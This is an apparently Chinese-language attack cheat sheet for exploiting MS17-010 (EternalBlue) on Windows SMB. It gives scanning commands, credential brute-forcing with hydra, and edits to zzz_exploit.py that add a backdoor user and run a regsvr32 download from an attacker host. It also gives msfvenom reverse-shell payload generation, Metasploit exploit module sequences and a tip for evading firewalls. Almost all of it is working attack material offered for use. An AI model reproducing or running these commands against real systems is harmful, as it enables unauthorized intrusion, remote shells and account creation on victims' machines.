批量扫描：

https://github.com/lsh4ck/ms17-010-m4ss-sc4nn3r

MSF的：

use auxiliary/scanner/smb/smb_version
set rhosts x.x.x.0/24
set threads 16
run
use auxiliary/scanner/smb/smb_ms17_010
show options
set threads 16
services -r tcp -p 445 -R
run

或者也可以：

use auxiliary/scanner/smb/smb_ms17_010 
set ShowProgress false 
set ConnectTimeout 5 
set THREADS 16 
set RHOSTS x.x.x.x run

smb_ms17_010.rb缺省只扫445/TCP。如果想扫139/TCP，必须:

set SMBDirect false
set RPORT 139
或者

unset SMBDirect
set RPORT 139

NMAP的：

nmap --script smb-vuln-ms17-010 -p445 x.x.x.x

漏洞利用

worawit/MS17-010

https://github.com/worawit/MS17-010
这个脚本其实在nas放出一个月就公开再Exploit-db了,很多人估计都不知道..
那么,查看zzz_exploit.py脚本会看到 from mysmb import MYSMB 之前有人使用python钓鱼:mysmb,其实真正安装了这个模块的人其实这个脚本反倒会利用失败.并且把信息发送给钓鱼者

依赖项

pipe

经常执行脚本会发现报错.如下所示

$ python zzz_exploit.py 10.10.10.19                                                                 system
Target OS: Windows Server 2008 R2 Datacenter 7601 Service Pack 1
Not found accessible named pipe
Done

你可能需要的pipe

netlogon lsarpc samr browser atsvc DAV RPC SERVICE epmapper eventlog InitShutdown keysvc lsass LSM_API_service ntsvcs plugplay protected_storage router SapiServerPipeS-1-5-5-0-70123 scerpc srvsvc tapsrv trkwks W32TIME_ALT wkssvc PIPE_EVENTROOT\CIMV2SCM EVENT PROVIDER db2remotecmd ```netlogon lsarpc samr browser atsvc DAV RPC SERVICE epmapper eventlog InitShutdown keysvc lsass LSM_API_service ntsvcs plugplay protected_storage router SapiServerPipeS-1-5-5-0-70123 scerpc srvsvc tapsrv trkwks W32TIME_ALT wkssvc PIPE_EVENTROOT\CIMV2SCM EVENT PROVIDER db2remotecmd

那么直接通过 python zzz_exploit.py <ip> [pipe_name] 即可
当然有些时候没有设置username和password,并且共享中启动了密码访问..也会导致这个问题

或者可以通过
auxiliary/scanner/smb/pipe_auditor 模块找寻你需要的pipe

use auxiliary/scanner/smb/pipe_auditor
set rhosts 10.10.10.19
set threads 20
exploit

username and password

USERNAME = ''
PASSWORD = ''
只需要更改系统中存在的共享smb账户,无论权限多低

那么我们怎么找到对应的账户呢,使用如下两种,当然使用自己写python脚本更佳啊

set auxiliary/scanner/smb/smb_login
set rhosts 10.10.10.0-255
set USER_FILE user.txt 
set PSSS_FILE pass.txt 
exploit

hydra -L user.txt -P pass.txt -t 20 10.10.10.10 smb

注意: 此脚本最关键地方

print('creating file c:\\pwned.txt on the target')
    tid2 = smbConn.connectTree('C$')
    fid2 = smbConn.createFile(tid2, '/pwned.txt')
    smbConn.closeFile(tid2, fid2)
    smbConn.disconnectTree(tid2)
    
#   smb_send_file(smbConn, sys.argv[0], 'C', '/exp.txt')
    service_exec(conn, r'cmd /c net user test test /add')

如果测试成功,会发现c盘新建了一个pwned.txt文件,同时会执行命令net user test test /add

如果觉得繁琐,可以用powershell/regsvr32等等执行脚本内容

use exploit/multi/script/web_delivery
set target 3
set payload windows/meterpreter/bind_tcp
set rhost 10.10.10.19
exploit

regsvr32 /s /n /u /i:http://192.168.2.164:8080/5Msr8HdNh.sct scrobj.dll

在python代码更改成如下即可

service_exec(conn, r'cmd /c regsvr32 /s /n /u /i:http://192.168.2.164:8080/5Msr8HdNh.sct scrobj.dll')

Eternalblue-Doublepulsar-Metasploit

https://github.com/ElevenPaths/Eternalblue-Doublepulsar-Metasploit/

修改eternalblue_doublepulsar.rb中成自己的目录,修改完成后，我们将rb文件放到metasploit的目录exploit/windows/smb/

register_options([
    OptEnum.new('TARGETARCHITECTURE', [true,'Target Architecture','x86',['x86','x64']]),
    OptString.new('ETERNALBLUEPATH',[true,'Path directory of Eternalblue','/root/Eternalblue-Doublepulsar-Metasploit/deps/']),
    OptString.new('DOUBLEPULSARPATH',[true,'Path directory of Doublepulsar','/root/Eternalblue-Doublepulsar-Metasploit/deps/']),
    OptString.new('WINEPATH',[true,'WINE drive_c path','/root/.wine/drive_c/']),
    OptString.new('PROCESSINJECT',[true,'Name of process to inject into (Change to lsass.exe for x64)','wlms.exe'])
], self.class)

启动msf后使用reload_all命令重新加载模块

msfvemon -p windows/meterpreter/reverse_tcp lhost=192.168.12.110 lport=4444 -f dll -o /root/.wine/drive_c/eternal11.dll
 
msfconsole
reload_all
search eternalblue_doublepulsar.rb 
use exploit/windows/smb/eternalblue_doublepulsar 
set RHOST 192.168.56.101
set Payload windows/meterpreter/reverse_tcp
set LHOST 192.168.56.102
exploit

ms17_010_eternalblue

至于防火墙可以通过https和dns的payload走就行了

use exploit/windows/smb/ms17_010_eternalblue
set payload windows/meterpreter/bind_tcp
set rhost x.x.x.x
exploit

ms17_010_psexec

全版本通杀,至于为什么.因为有依赖条件.必须是禁止密码保护共享的

exploit/windows/smb/ms17_010_psexec
set payload windows/meterpreter/bind_tcp
set rhost x.x.x.x
exploit
